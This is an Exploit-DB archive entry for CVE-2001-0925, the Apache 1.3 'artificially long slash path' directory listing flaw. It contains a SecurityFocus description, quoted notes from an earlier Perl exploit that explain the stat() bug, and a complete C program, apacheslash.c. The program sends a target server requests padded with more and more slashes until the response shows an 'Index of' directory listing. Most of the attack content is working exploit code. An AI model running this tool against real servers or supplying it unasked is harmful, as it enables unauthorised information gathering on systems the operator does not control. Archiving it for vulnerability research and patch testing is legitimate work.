标题: Apache 1.3 - Artificially Long Slash Path Directory Listing (2) EDB-ID: 20693 CVE: 2001-0925 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-02-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2503/info
 
Apache HTTPD is the Apache Web Server, freely distributed and actively maintained by the Apache Software Foundation. It is a freely available and widely used software package, included with various implementations of the UNIX operating system and can be used on Microsoft Windows operating systems.
 
A problem in the package could allow directory indexing and path discovery. In a default configuration, Apache enables mod_dir, mod_autoindex, and mod_negotiation. However, by sending the Apache server a custom-crafted request consisting of a long path name created artificially by using numerous slashes, an attacker can cause these modules to misbehave, allowing the attacker to escape the error page and to gain a listing of the directory contents.
 
This vulnerability allows a malicious remote user to launch an information-gathering attack, which could potentially result in a compromise of the system. Additionally, this vulnerability affects all releases of Apache previous to 1.3.19. 

/*
Program: apacheslash.c
Original Date: 2-21-02
Version: 1.0
Platform: Linux (compiled on SuSE 7.3)
c0der: st0ic
site: www.fsix.net
e-mail: st0ic@blackcodemail.com

Revised:
 NONE thus far

Description: This program tests an Apache installation for the "Apache Artificially Long Slash Path 
Directory Listing Exploit."  See SecurityFocus.com BID 2503 - http://online.securityfocus.com/bid/2503 

Compile: gcc apacheslash.c -o apacheslash

Stuff: I know theres already 3 Perl scripts that test this bug out, but there execution time is horrible
so I was bored and decided to recode it in C for execution speed sake. On my box, I think it took
about 8 mins to send 1000 /'s to apache with apache2.pl. It takes about 2 seconds with this program.
BTW, SuSE 7.3 comes with Apache 1.3.20, which is NOT vulnerable :-). Check out the securityfocus.com
BID 2503 to find out whats vulnerable and whats not.

I also included the comments from apache2.pl exploit which was modified
by Siberian of sentry-labs.com. Read below for the details:

/*************************************************
#!/usr/bin/perl
#
# orginal by farm9, Inc. (copyright 2001)
# new modified code by Siberian (www.sentry-labs.com)
#
########################################################################################
#
# Note: This isn't the orginal exploit! This one was modified and partly rewritten. 
#
# Changes:
#
# - help added (more user firendly :-) )
# - messages added 
# - exploit is now able to be executed on WinNT or 2k.
# - uses perl version of BSD sockets (compatible to Windows)
# 
# Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
# of the code and made it esaier to use and cross platform compatible.
# The old verion used a esaier but not that compaible way of socket stream communication.  
# Any network code was replaced by cross platform compatible BSD sockets.
# (much better than any other stream method :-) )
# 
# Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
#
# Original comment and source is attached below.
#
########################################################################################
#
# Name: Apache Artificially Long Slash Path Directory Listing Exploit
# Author: Matt Watchinski
# Ref: SecurityFocus BID 2503
#
# Affects: Apache 1.3.17 and below
# Tested on: Apache 1.3.12 running on Debian 2.2
#
# Info:  This exploit tricks apache into returning a Index of the a directory
#    even if an index.html file is present.  May not work on some OS's
#
# Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
#    very specific cases would feed stat() a filename that was longer than
#    stat() could handle.  This would result in a condition where stat()
#    would return 0 and a directory index would be returned instead of the
#    default index.html.
#
# Code Fragment: /src/main/http_request.c
#    if (strchr(new_file, '/') == NULL) {
#        char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
#
#        rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
#        rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
#        ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */ /*
#        if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
#            rnew->finfo.st_mode = 0;
#        }
#
# Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
#       The directory must also have the following Options enabled:
#             Indexes and MultiView
#       Some OS's have different conditions on the number of character
#       you have to pass to stat to make this work.  If stat doesn't
#       return 0 for path names less than 8192 or so internal apache
#       buffer checks will stop this exploit from working.
#
#        Debian needed around 4060 /'s to make this work.
#
# Greets: Special thanks to natasha who added a lot of debug to apache for me
#   while i was trying to figure out what had to be enabled to make this
#   exploit work.  Also thanks to rfp for pointing out that MultiView
#   needed to be enabled.
#
# More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
#               Anne for being so sexy <I never though corporate espionage
#                   would be so fun>
#               All my homies at farm9
#               DJ Charles / DJ NoloN for the phat beats
#               Marty (go go gadget snort)
#               All my ex-bees
#               RnVjazpIaXZlcndvcmxk
#
# I think that wraps it up.  Have fun.
-----snip snip----
**************************************************/

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

char tmp[10240];
char output[10240];
char *get = "GET ";
char *slash = "/";
char *http = " HTTP/1.0\r\n";
char *end = "\r\n\r\n";
int c, x;
int port;
int low;
int max;
int sockfd;
int bytes_recieved;
int count;
char *addr;

struct sockaddr_in dest_addr;
struct hostent *he;

void usage(char *ptr)
{
 fprintf(stderr, "\n\t%s <-h host> <-p port> <-l LOW> <-m MAX>", ptr);
 fprintf(stderr, "\n\tExample: %s -h 127.0.0.1 -p 80 -l 1 -m 1000\n", ptr);
 fprintf(stderr, "\n\tLOW is how many /'s to start with and MAX is how many /'s to end with.\n\n");
 exit(1);
}


int main(int argc, char *argv[])
{
 printf("\n\t[       apacheslash.c     ]");
 printf("\n\t[      c0ded by st0ic     ]");
 printf("\n\t[         Fsix.Net        ]");
 printf("\n\t[ st0ic@happyhack.zzn.com ]\n\n");

 while ( ( c = getopt(argc, argv, "h:p:l:m:") ) != -1)
 {
  switch(c)
  {
   case 'h':
   {
    addr = optarg;
    break;
   }
   case 'p':
   {
    port = atoi(optarg);
    break;
   }
   case 'l':
   {
    low = atoi(optarg);
    break;
   }
   case 'm':
   {
    max = atoi(optarg);
    break;
   }
   default:
    usage(argv[0]);
  }
 }

 if ( low > max || addr == NULL )
  usage(argv[0]);

 if ( (he = gethostbyname(addr)) == NULL)
 {
  perror("gethostbyname");
  exit(1);
 }

 dest_addr.sin_family = AF_INET;
 dest_addr.sin_addr = *( (struct in_addr *) he->h_addr);
 dest_addr.sin_port = htons(port);
 memset (&dest_addr.sin_zero, 0, 8);
 
 printf("\t\n....Working....\n");
 
 while (low <= max)
 {
  count = low;
  bzero(tmp, sizeof(tmp) );
  
  if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) == -1)
  {
   perror("socket");
   break;
  }

  if (connect (sockfd, (struct sockaddr_in *) &dest_addr, sizeof(dest_addr) ) == -1)
  {
   perror("connect");
   exit(1);
  }
  
  strcpy(tmp, get);
  
  /* copy the necessary slashes. */
        for(x = 0; x < count; x++)
   strcat(tmp, slash);
  
  strcat(tmp, http);
  strcat(tmp, end);
  
  send(sockfd, tmp, sizeof(tmp), 0);
  
  bytes_recieved = 1;
  while(bytes_recieved > 0)
  {
   bytes_recieved = recv(sockfd, output, sizeof(output), 0);
   if ( (strstr(output, "Index of") ) != NULL)
   {
    printf("\n\tNumber of \"/\"'s required to generate a directory listing = %d\n", low);
    close(sockfd);
    exit(0);
   }
  }
  
  low++;
  close(sockfd);
 }
 
 printf("\nHost does not appear to be vulnerable. Maybe try some different numbers...\n");
 
 return 0;
} URL: https://www.exploit-db.com/exploits/20693